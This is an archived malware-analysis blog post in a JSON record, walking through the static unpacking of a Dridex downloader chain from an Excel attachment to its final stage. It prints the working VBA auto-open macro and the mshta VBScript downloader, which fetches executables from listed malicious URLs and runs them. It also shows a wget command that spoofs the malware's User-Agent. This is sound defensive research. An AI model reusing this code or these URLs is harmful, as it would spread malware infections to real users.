{
	"id": "7a19ba41-b293-45b7-b92e-e959667b7fd0",
	"created_at": "2026-04-06T00:22:18.793497Z",
	"updated_at": "2026-04-10T03:22:39.463357Z",
	"deleted_at": null,
	"sha1_hash": "066ce916f87ed2a3916562f973127110b5fc38fd",
	"title": "Cutting corners against a Dridex downloader",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 1773073,
	"plain_text": "Cutting corners against a Dridex downloader\r\nBy Malcat EI\r\nArchived: 2026-04-05 15:39:10 UTC\r\nSample:\r\n6f8f1b26324ea0f3f566fbdcb4a61eb92d054ccf0300c52b3549c774056b8f02 (Bazaar, VT, AnyRun)\r\nInfection chain:\r\nExcel -\u003e mshta downloader -\u003e x86 injector -\u003e x86 injector -\u003e Dridex first stage\r\nDifficulty:\r\nIntermediate\r\nExcel document\r\nThe sample we are going to dissect came as a 728KB Excel 97 document inside an email. The OLE container is pretty\r\nsimple: most of its space is taken by the Excel Workbook (711KB). The rest is made of metadatas (claim to be Invoice\r\n720710 from Quickbooks, LLC ) and a small VBA project. A legit-looking picture from GlobalSign on the first Excel sheet\r\ntells the user to enable editing + content in order to decrypt the office document. This manipulation will indeed enable and\r\nrun the document (malicious) macros.\r\nFigure 1: Excel decoy sheet\r\nThe VBA project contains a single WorkBook_Open macro. In Excel, the WorkBook_Open macro is automatically run when\r\nthe document is opened. By hitting F4 in Malcat, we can decompile the VBA code:\r\n 1\r\n 2\r\n 3\r\n 4\r\n 5\r\n 6\r\n 7\r\n 8\r\n 9\r\n10\r\n11\r\n12\r\n13\r\n14\r\nSub WorkBook_Open()\r\n For Each qHundredMillions In ActiveWorkbook.Sheets(\"Sheet1\").Range(\"A65:O2886\")\r\n If qHundredMillions.Value \u003e 0 Then\r\n qUnlockedCells = qUnlockedCells \u0026 Chr(qHundredMillions.Value)\r\n End If\r\n Next qHundredMillions\r\nSet qPCX = CreateObject(\"Scripting.FileSystemObject\")\r\n With qPCX\r\n Set qLine = .CreateTextFile(Environ(\"ALLUSERSPROFILE\") \u0026 \"\\qRangeAutoFormatLocalFormat3.sct\")\r\nqLine.Write (qUnlockedCells)\r\nqLine.Close\r\n End With\r\nWith CreateObject(\"Wscript.Shell\")\r\n.Exec (\"mshta \" \u0026 Chr(34) \u0026 Environ(\"ALLUSERSPROFILE\") \u0026 \"\\qRangeAutoFormatLocalFormat3.sct\" \u0026 Chr(34))\r\nhttps://malcat.fr/blog/cutting-corners-against-a-dridex-downloader/\r\nPage 1 of 10\n\n15\r\n16\r\nEnd With\r\nEnd Sub\r\nThe macro is pretty straightforward, and write the content of the sheet cells from A65 up to O2886 into a file, before running\r\nthe file through the mshta.exe program. As we already suspected given the size of the Workbook stream, it means that the\r\npayload is actually stored inside the sheet cells.\r\nMalcat can parse both Biff8 (.xls) and Biff12 (.xlsb) Excel binary documents. Just double-click on the Workbook stream in\r\nthe Virtual File System tab of the OLE container and you can inspect the content of the excel document. To display cell\r\nvalues and (decompiled) formulas, you can hit F4. This time there is no formula inside the sheet, but a lot of numerical\r\nvalues inside the cells lies in the ascii range, which is kind of unusual.\r\nThe cells are displayed in order in the decompiler view, so it should be easy to recover the written file programmatically. We\r\ncan do it two ways:\r\nCopy-paste the content of the F4 view (starting at the cell $B$65 ) into an editor and post-process it using python or\r\nyour text editor of choice macros.\r\nUse Malcat's scripting to iterate over the cell values and reconstruct the file.\r\nWe will choose the second solution. Using Malcat's script engine, we have access to the file format parser and its result in\r\nthe malcat.analyzer variable. In this case, the Biff8 file format parser (in data/filetypes/Office.Workbook8.py ) stores\r\nsome extra cell information in its sheets variable. Go to the script editor view via F8 and enter the following script:\r\nres = bytearray()\r\nsheet1 = malcat.analyzer.sheets[1]\r\nfor cell, val in sheet1.values.items():\r\n if type(val) == float and val \u003e 0:\r\n res.append(int(val))\r\ngui.open_after(bytes(res), \"droppped\")\r\nWe obtain the following HTML file (comments have been removed for clarity):\r\n 1\r\n 2\r\n 3\r\n 4\r\n 5\r\n 6\r\n 7\r\n 8\r\n 9\r\n10\r\n11\r\n12\r\n13\r\n14\r\n15\r\n16\r\n17\r\n18\r\n19\r\n20\r\n21\r\n22\r\n23\r\n24\r\n25\r\n26\r\n\u003c!DOCTYPE html\u003e\r\n\u003chtml\u003e\r\n\u003chead\u003e\r\n\u003cHTA:APPLICATION ID=\"CS\"\r\nAPPLICATIONNAME=\"Test\"\r\nWINDOWSTATE=\"minimize\"\r\nMAXIMIZEBUTTON=\"no\"\r\nMINIMIZEBUTTON=\"no\"\r\nCAPTION=\"no\"\r\nSHOWINTASKBAR=\"no\"\u003e\r\n\u003cscript type=\"text/vbscript\" LANGUAGE=\"VBScript\" \u003e\r\nOn Error Resume Next\r\nFor Each qDialogWorkbookCopy in Array(\"http://onlinefastsolutions.com:8088/tpls/file3.bin\",\r\n \"http://onlinefastsolutions.com:8088/images/details.bin\",\"http://fasteasyupdates.com:8088/vendors/file4.bin\",\r\n \"http://onlinefastsolutions.com:8088/js/file1.bin\",\r\n \"http://buyer-remindment.com:8088/fonts/file8.bin\",\r\n \"http://buyer-remindment.com:8088/css/file7.bin\",\r\n \"http://onlinefastsolutions.com:8088/images/file13.bin\",\r\n \"http://insiderushings.com:8088/js/file13.bin\",\r\n \"http://buyer-remindment.com:8088/tpls/file4.bin\",\r\n \"http://paymentadvisry.com:8088/wp-theme/file7.bin\")\r\n Set qDialogWorkspace = createobject(\"MSXML2.ServerXMLHTTP.6.0\")\r\n Set qSortValues = createobject(\"Adodb.Stream\")\r\n qDialogWorkspace.Open \"GET\", qDialogWorkbookCopy, False\r\n qDialogWorkspace.setRequestHeader \"User-Agent\", \"qWK3FM3\"\r\n qDialogWorkspace.Send\r\nhttps://malcat.fr/blog/cutting-corners-against-a-dridex-downloader/\r\nPage 2 of 10\n\n27\r\n28\r\n29\r\n30\r\n31\r\n32\r\n33\r\n34\r\n35\r\n36\r\n37\r\n38\r\n39\r\n40\r\n41\r\n42\r\n43\r\n If qDialogWorkspace.Status = 200 And Len(qDialogWorkspace.ResponseBody)\u003e1000 Then\r\n Set qTriangle = CreateObject(\"Wscript.Shell\")\r\n with qSortValues\r\n .type = 1\r\n .open\r\n .write qDialogWorkspace.responseBody\r\n .savetofile qTriangle.ExpandEnvironmentStrings(\"%ALLUSERSPROFILE%\") \u0026 \"\\qDialogMainChartType.exe\", 2\r\n end with\r\n qTriangle.Exec(qTriangle.ExpandEnvironmentStrings(\"%ALLUSERSPROFILE%\") \u0026 \"\\qDialogMainChartType.exe\")\r\n Exit For\r\n End If\r\nNext\r\n\u003c/script\u003e\r\n\u003c/head\u003e\r\n\u003cbody\u003e\r\n\u003c/body\u003e\r\n\u003c/html\u003e\r\nThe Mshta script listed above is a pretty straightforward downloader. Let's just try to WGET one of the url:\r\n$ wget \"http://buyer-remindment.com:8088/fonts/file8.bin\"\r\nResolving buyer-remindment.com... 208.83.69.35, 163.172.213.69, 128.199.243.169\r\nConnecting to buyer-remindment.com|208.83.69.35|:8088... connected.\r\nHTTP request sent, awaiting response... 404 Not Found\r\nHmm no luck. But maybe they do User-Agent filtering. Let's use the user agent provided in the script:\r\n$ wget -U qWK3FM3 \"http://buyer-remindment.com:8088/fonts/file8.bin\"\r\nResolving buyer-remindment.com... 208.83.69.35, 163.172.213.69, 128.199.243.169\r\nConnecting to buyer-remindment.com|208.83.69.35|:8088... connected.\r\nHTTP request sent, awaiting response... 200 OK\r\nLength: 167936 (164K) [application/octet-stream]\r\nSaving to: 'file8.bin'\r\nfile8.bin 100%[============================\u003e] 164.00K 349KB/s in 0.5s\r\nBingo, we have the file!\r\nThe first stage\r\nLocating the payload\r\nThe downloaded file is a 167KB PE file of sha256\r\n277089cb78a9c493cecd8f5fbe70df0577d4f9557fb8b55ff5f7c2505308ca3a (Bazaar, VT, AnyRun) and plays in a higher\r\nleague. We don't know much about the file since both the version informations and the rich header seem fake. And while the\r\nnumber of identified functions seems low (55), most of them seem obfuscated. How to be sure they are obfuscated? Well\r\nthere are a lot of fake API calls, a lot of useless arithmetic operations, and the control flow graph (F4) of some of the\r\nfunctions look like this:\r\nhttps://malcat.fr/blog/cutting-corners-against-a-dridex-downloader/\r\nPage 3 of 10\n\nFigure 2: CFG of an obfuscated function\r\nWhile I enjoy pure static analysis, this would be the point where I would normally switch to dynamic analysis. Reversing\r\nobfuscated code is not really fun. But on the other hand, dealing with anti-VM and anti-debugging tricks is also not very fun.\r\nSo let's give static analysis a chance. Since looking at the code there won't bring us much, we will first do the usual\r\npreliminary work: locating the payload data. We have two high-entropy buffers there:\r\none in the .text section at approximatively 0x10002a8d - 0x10012ab8 (about 0x1002b bytes): this will be buffer A\r\none in the .data section at approximatively 0x1001619f - 0x10026265 (about 0x100c6 bytes): this will be buffer B\r\nThis definitely looks like payload material. Then we will look for cross-references to these two buffers (right-click on the\r\nfirst byte in data view, and choose cross-references).\r\nFigure 3: The two obfuscated buffers\r\nThere is exactly one cross-reference for each of these buffers:\r\none cross-reference to buffer A in the .data section at address 0x10026264 . The pointer itself is not referenced.\r\none cross-reference to buffer B in the .data section at address 0x10026200 . The pointer is itself referenced by the\r\nfunction sub_10013940 at address 0x100139f4\r\nThe first buffer looks like a dead-end, let us have a look at the second, and more particularly to the function sub_10013940 .\r\nReversing the decryption function\r\nLike the rest of the code, this function is obfuscated and code is bloated with arithmetic operations. But decompilers are\r\nnotably good at one thing: constant propagation. So let us run the Sleigh decompiler (double-press F4) and have a look at\r\nthe decompiled code:\r\nhttps://malcat.fr/blog/cutting-corners-against-a-dridex-downloader/\r\nPage 4 of 10\n\n1\r\n 2\r\n 3\r\n 4\r\n 5\r\n 6\r\n 7\r\n 8\r\n 9\r\n10\r\n11\r\n12\r\n13\r\n14\r\n15\r\n16\r\n17\r\n18\r\n19\r\n20\r\n21\r\n22\r\n23\r\n24\r\n25\r\n26\r\n27\r\n28\r\n29\r\n30\r\n31\r\n32\r\n33\r\nxunknown4 sub_10013940(int4 param_1)\r\n{\r\n int4 iVar1;\r\n int4 iVar2;\r\n int4 iVar3;\r\n int4 iStack80;\r\n int4 iStack72;\r\n int4 iStack60;\r\n int4 iStack52;\r\n iStack52 = 0;\r\n iStack72 = 0;\r\n do {\r\n iStack52 = (*(iStack72 * 100 + 0x100261e8) + iStack52) - *(iStack72 * 100 + 0x100261a4);\r\n iStack72 = iStack72 + 1;\r\n } while (iStack72 != 2);\r\n iVar1 = sub_100011c0(4, iStack52); // most likely a malloc\r\n iStack60 = 0;\r\n iStack80 = 0;\r\n do {\r\n iVar3 = iStack60 * 100;\r\n iVar2 = *(iVar3 + 0x100261e8) - *(iVar3 + 0x100261a4);\r\n sub_10013b50(iVar1 + iStack80, *(iVar3 + 0x10026200), iVar2); // function looks like memcpy(dst, src, size)\r\n iStack80 = iVar2 + iStack80;\r\n iStack60 = iStack60 + 1;\r\n } while (iStack60 != 2);\r\n sub_100136f0(iVar1, iVar1, iStack52);\r\n *(param_1 + 8) = iVar1 + 0x2b7e;\r\n *(param_1 + 0x14) = 0x1d400;\r\n *(param_1 + 4) = iVar1 + 0x20;\r\n *(param_1 + 0xc) = 0x2600;\r\n return 0;\r\n}\r\nI know that the abstract of this blog post promised very few reverse engineering, but it is time to plug in our brain for a few\r\nseconds and have a quick look at the decompiled code:\r\nthe two loops each loops twice. Two is also the number of our buffers...\r\niStack52 in the first do-while loop is the sum of ( [0x100261e8] - [0x100261a4] ) = 0x10000 and ( [0x100261e8\r\n+ 100] - [0x100261a4 + 100] ) = 0x10000 , which could be the sizes of our two buffers\r\niVar1 seems to points to a buffer of size iStack52\r\nsub_10013b50 , once decompiled, looks like a simple memcpy\r\nduring the first loop turn of the second do-while, the memcpy call copies [0x10026200] (our buffer B reference, see\r\nabove) to iVar1 , iVar2 seems to be the size of buffer B (0x10000)\r\nduring the second loop turn of the second do-while, the memcpy call copies [0x10026200 + 100] = [0x10026264]\r\n(which is actually our buffer A reference, see above) to iVar1 + 0x10000\r\nSo without reversing further, we can roughly infer that:\r\nbuffer B and buffer A are actually both 0x10000 bytes big\r\nour two buffers are concatenated into the iVar1 buffer (buffer B followed by buffer A)\r\nfunction sub_100136f0 gets called on the result\r\nSo that wasn't too much complicated until now. Now let's have a look at sub_100136f0 :\r\nvoid sub_100136f0(xunknown4 param_1, xunknown4 param_2, xunknown4 param_3)\r\n{\r\n xunknown4 xVar1;\r\n xunknown1 axStack272 [256];\r\nhttps://malcat.fr/blog/cutting-corners-against-a-dridex-downloader/\r\nPage 5 of 10\n\nxVar1 = 0x3b;\r\n sub_10012d50(axStack272, 0x10015161, 0x3b);\r\n sub_10013ca0(axStack272, param_1, param_2, param_3, xVar1);\r\n return;\r\n}\r\nLooks like this function calls two sub-functions which both use a 256 bytes buffer internally ( axStack272 ). The first\r\nfunction sub_10012d50 takes as parameters the 256 bytes buffer, a pointer to some high-entropy data (at 0x10015161 ) and\r\nthe integer 0x3b. If we looks at the decompiled code of sub_10012d50 , it should ring some bells for malware analysts:\r\nFigure 4: decompiled code of sub_10012d50\r\nWe see indeed a first loop which initialises a 256 bytes buffer with values from 0 to 255, and a second loop which permutes\r\nsome of the cells of the buffer. It looks a lot like a RC4 initialisation function. So instead of reversing further, we will first\r\nverify if our hypothesis holds. We will append 0x20000 bytes to the end of the file, concatenate buffer B and buffer A in this\r\noverlay and try to decrypt the two buffers using Malcat's RC4 transform and the 0x3b bytes key at 0x10015161 (small tip:\r\nfirst open a copy of the program with 0x20000 additional bytes at the end of the file to make room for the concatenated\r\nbuffers):\r\nFigure 5: concatenating and decrypting the two buffers\r\nhttps://malcat.fr/blog/cutting-corners-against-a-dridex-downloader/\r\nPage 6 of 10\n\nIt works! Well, kind of at least. This definitely looks like a PE file, but parts of the MZ and PE headers are still encrypted.\r\nThis is a common anti-dump trick used to confuse signature-based memory dumpers. The first 32 bytes of the result (all set\r\nto zero) also seems useless, which would explain the line *(param_1 + 4) = iVar1 + 0x20; in function sub_10013940 .\r\nObviously, some other function in the program is responsible for fixing the MZ and PE headers of the decrypted buffer. So,\r\nwe should navigate through the obfuscated code and locate it right? But since the PE header seems to be only partially\r\nencrypted (the string \"This program cannot be run in DOS mode\" is still visible as well as section names), we could try to\r\nbe smarter and save some time. Let us diff the decrypted buffer with another valid PE, for instance the first layer (chances\r\nare they have been generated using the same compiler, which makes the job easier).\r\nTo do this, first dump the decrypted buffer (minus the first 32 bytes which are all zero) into a file. Let's call it\r\nlayer2_original.bin . Then, select both the first layer ( file8.bin ) and the buffer ( layer2_original.bin ) inside your\r\nexplorer and drag them into Malcat in order to diff them. You can switch between the hex view and the structure view (F2)\r\nto see which MZ/PE fields have been encrypted. You should see something like this (minus the comments ofc):\r\nFigure 6: Left: first layer (aka our reference program), right: decrypted buffer with obfuscated bytes\r\nAs we can see on the picture, only a few spots in the headers of the decrypted buffer seem to have been encrypted:\r\nThe first 6 bytes of the MZ header: [#0-#6[\r\nThe last field of the MZ header, AddressOfPEHeader: [#3c-#40[\r\nThe rich headers are different, but we can safely ignore them\r\nThe first 6 bytes of the PE header: [#c8-cd[\r\nEnd of PE header + start of OptionalHeader, also 6 bytes: [#dc-#e2[\r\nExport director entry in the data directory, also 6 bytes: [#140-#146[\r\nThe rest of the differences are all somehow making sense, we are diffing different programs after all. So we will start\r\npatching back the obfuscated bytes using our reference program:\r\nWe will copy the first 6 bytes from file8.bin to layer2.bin\r\nWe will patch the AddressOfPEHeader field with the value 0xc8 (since the rich header is 8 bytes less than in\r\nfile8.bin )\r\nWe will copy the first 6 bytes of the PE header from file8.bin [#d0-#d6[ to layer2.bin [#c8-#cd[\r\nWe will copy end of PE header + start of OptionalHeader from file8.bin [#e4-#ea[ to layer2.bin [#dc-\r\n#e2[\r\nWe can safely ignore the obfuscated export directory. Once the patching is done, hit Ctrl+R to reanalyze the patched file\r\nand Malcat should now recognize it as a PE file. The headers should then look like in the picture below. For the lazy readers,\r\nyou can download the patched file here (password: infected).\r\nhttps://malcat.fr/blog/cutting-corners-against-a-dridex-downloader/\r\nPage 7 of 10\n\nFigure 7: Decrypted buffer after patching back the headers\r\nThe second stage\r\nLocating the payload and the decryption function\r\nThe second layer comes as a tiny PE file with a huge high-entropy overlay. At this stage, since we did not analyse most of\r\nthe code of the first stage program, it is not clear how the second layer is run. It is possible that the overlay would have been\r\nput inside an allocated memory region before running the second stage. But it definitely looks encrypted and thus pretty\r\ninteresting.\r\nFigure 8: 32 bytes long repeats inside the encrypted payload of second stage\r\nSince the payload is in the overlay (or inside an allocated memory buffer), we can't just look for cross-references like we did\r\nin the first stage. We could look for the decryption function inside the .code section, but sadly the code is also obfuscated.\r\nFortunately, by looking at the encrypted data, we can see some 32 bytes long pattern which get repeated a few times. This\r\nmeans two things:\r\nThe payload has been encrypted using a 32 bytes key\r\nThe cipher algorithm is most likely a stream cipher, and a pretty simple one\r\nhttps://malcat.fr/blog/cutting-corners-against-a-dridex-downloader/\r\nPage 8 of 10\n\nSo instead of looking for references or code, let us look for a 32-bytes long key, i.e a referenced, high-entropy, 32 bytes\r\nlong, data block. The second stage is quite small, and there is only one data block in the .rdata section which fits this\r\ndescription: [0x40304e-0x40306d[ . The key candidate is referenced by a pointer at address 0x404018 , which is itself\r\nreferenced by the very similar functions sub_401301 and sub_401549 . Let us have a look at the first one:\r\n 1\r\n 2\r\n 3\r\n 4\r\n 5\r\n 6\r\n 7\r\n 8\r\n 9\r\n10\r\n11\r\n12\r\n13\r\n14\r\n15\r\n16\r\n17\r\n18\r\n19\r\nxunknown4 sub_401301(int4 param_1)\r\n{\r\n int4 iVar1;\r\n uint4 uVar2;\r\n uint4 uVar3;\r\n int4 iStack32;\r\n iVar1 = *(param_1 + 0x54); // data pointer\r\n uVar2 = *(param_1 + 0x20); // data size\r\n iStack32 = 0;\r\n do {\r\n uVar3 = *(iStack32 * 4 + 0x40401c); // randomized starting index\r\n while (uVar3 \u003c uVar2) {\r\n *(iVar1 + uVar3) = *(iVar1 + uVar3) + (*([0x00404018] + (uVar3 \u0026 0x1f)) ^ 0xff); // 0x00404018 is a pointer to our ke\r\n uVar3 = uVar3 + 0xff;\r\n }\r\n iStack32 = iStack32 + 1;\r\n } while (iStack32 != 0xff);\r\n return 0;\r\n}\r\nThis definitely looks like a decryption function, with a key of size 32 (see the uVar3 \u0026 0x1f ?).\r\nDecoding the overlay\r\nThe buffer seems to be decrypted by ADDing the key bytes XOR 0xff (aka performing a NOT on the key bytes and then\r\nadding the key bytes to the buffer).\r\nThere seem to be a twist though. At address 0x40401c we can find an array of 255 dwords, which is a random permutation\r\nof the [0 .. 254] interval. This array seems to be used as starting index ( uVar3 ) to decrypt every 255th byte of the\r\nbuffer. Why would they do that? I don't know, it does not look like obfuscation. It is most likely an anti-dump technique,\r\nsince some dumpers detect decryption function by looking for sequential writes. This makes sure that the decryption output\r\nstream is not written sequentially indeed.\r\nAnyway, we can safely ignore this part of the code since the order of write is irrelevant to us. Let us try to decrypt the buffer\r\nusing Malcat's transforms. We will first NOT the key, and use the result as key for the add8 algorithm (which is just a add\r\nusing a repeated key):\r\nhttps://malcat.fr/blog/cutting-corners-against-a-dridex-downloader/\r\nPage 9 of 10\n\nFigure 9: decoding the overlay using key at 0x40304e\r\nAnd it works, we get a 119808 bytes PE file! But again, parts of the MZ and PE headers seem to be obfuscated :( We won't\r\ngo through the header reconstruction again, it is the exact same process as for the first stage. Just be careful this time, the\r\nRich header being bigger, the PE header starts at offset 0xe8 . You can download the patched file here (password: infected).\r\nThe resulting PE is only slightly obfuscated this time. A quick look at Virustotal tells us that this is a Dridex sample. And\r\nthis time we can be pretty sure that this is the final stage:\r\ncode is less obfuscated (only some constant obfuscation, and strings seem to be encrypted too)\r\nthere is way more code than data, which would be weird for a dropper/injector\r\nwe can see some plain-text constants which make little sense for a dropper, like the ITaskService GUID at address\r\n0x41c960\r\nThis is not the main Dridex component though, but the Dridex downloader, since Dridex is a complex multi-stage malware.\r\nDecrypting the strings and configuration may be the subject of another article.\r\nConclusion\r\nWe have seen how to navigate inside an Excel document, its sheets and its macros and how to statically extract its payload\r\nusing Malcat. We also have seen how to circumvent native code obfuscation by ignoring the code and focusing on the data\r\n(and using a bit of guessing).\r\nStatic unpacking is not reserved to simple malware and can also be used for modern complex families like this Dridex\r\ndropper. By focusing on the data instead of the code, we were able to go through the different stages of the dropper with ease\r\nand could completely ignore the obfuscation layers.\r\nI hope that you enjoyed this rapid unpacking session. As usual, feel free to share with us your remarks or suggestions!\r\nSource: https://malcat.fr/blog/cutting-corners-against-a-dridex-downloader/\r\nhttps://malcat.fr/blog/cutting-corners-against-a-dridex-downloader/\r\nPage 10 of 10",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia"
	],
	"references": [
		"https://malcat.fr/blog/cutting-corners-against-a-dridex-downloader/"
	],
	"report_names": [
		"cutting-corners-against-a-dridex-downloader"
	],
	"threat_actors": [
		{
			"id": "08c8f238-1df5-4e75-b4d8-276ebead502d",
			"created_at": "2023-01-06T13:46:39.344081Z",
			"updated_at": "2026-04-10T02:00:03.294222Z",
			"deleted_at": null,
			"main_name": "Copy-Paste",
			"aliases": [],
			"source_name": "MISPGALAXY:Copy-Paste",
			"tools": [],
			"source_id": "MISPGALAXY",
			"reports": null
		}
	],
	"ts_created_at": 1775434938,
	"ts_updated_at": 1775791359,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/066ce916f87ed2a3916562f973127110b5fc38fd.pdf",
		"text": "https://archive.orkl.eu/066ce916f87ed2a3916562f973127110b5fc38fd.txt",
		"img": "https://archive.orkl.eu/066ce916f87ed2a3916562f973127110b5fc38fd.jpg"
	}
}